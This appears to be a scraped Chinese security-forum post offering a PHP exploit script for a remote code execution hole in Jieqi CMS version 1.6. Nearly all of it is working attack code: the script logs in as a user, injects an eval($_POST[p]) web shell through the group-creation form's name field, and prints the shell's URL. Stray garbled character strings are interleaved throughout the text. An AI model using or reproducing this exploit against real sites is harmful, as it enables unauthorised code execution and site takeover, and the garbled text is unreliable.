Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

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杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。

5 B  \$ r- z) C* S
4 E4 S* g8 g$ I! A, m+ y该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
$ W( i) ?# {6 J: [6 K; r9 P 需要有一个能创建圈子的用户。

<?php
# a: P; O2 e9 t$ a% V# P
print_r('
+---------------------------------------------------------------------------+
Jieqi CMS V1.6 PHP Code Injection Exploit
) u  A; t. O5 M& f6 [* ~$ L+ ]by flyh4t
mail: phpsec at hotmail dot com
: p* ~  ~+ e# e* @% uteam: http://www.wolvez.org
+ X  x+ i  w5 V& C7 @7 F& C+---------------------------------------------------------------------------+
/ I- b0 u9 U9 r( k/ m# I'); /**
: o( |' H6 Q8 i0 o * works regardless of php.ini settings
+ r% \& c' M  b- l7 a1 F0 U*/ if ($argc < 5) { print_r('
& Q% \) ^" I1 E1 |2 Z+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path username
! ^; ^" z  g7 @host:      target server (ip/hostname)
path:      path to jieqicms
: N( n' ]1 m9 P' t% o; j$ @uasename:  a username who can create group
Example:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
5 J: |$ C; |5 y: J: [6 _+---------------------------------------------------------------------------+
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
9 k% u3 M- ?5 @- J  X* U8 \5 B- ~Content-Disposition: form-data; name="gname"
+ h) c$ y% v( U3 `; e3 @
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
4 C+ I. P5 ^- L4 v2 n-----------------------------23281168279961
* w2 ~5 v  e& N. M: v: s6 gContent-Disposition: form-data; name="gcatid"

2 e/ |1 a+ X9 u) `& p! j1
7 O; c# y3 ?( m. D! X: l-----------------------------23281168279961
8 K# M( q9 M2 X& _2 z7 g$ @! m0 lContent-Disposition: form-data; name="gaudit"

' k/ p9 }" i* N9 R, O1
1 M* `& Y# s: E: N! `-----------------------------23281168279961
0 i. `, b. v1 ~* k7 P- LContent-Disposition: form-data; name="gbrief"

1
  |8 h3 Q6 i, d9 u8 r% F-----------------------------23281168279961--
# q3 V4 y: U( o/ o7 e' d'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
% S7 Q; q! C* r) N0 n' N, H& B2 b; _
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;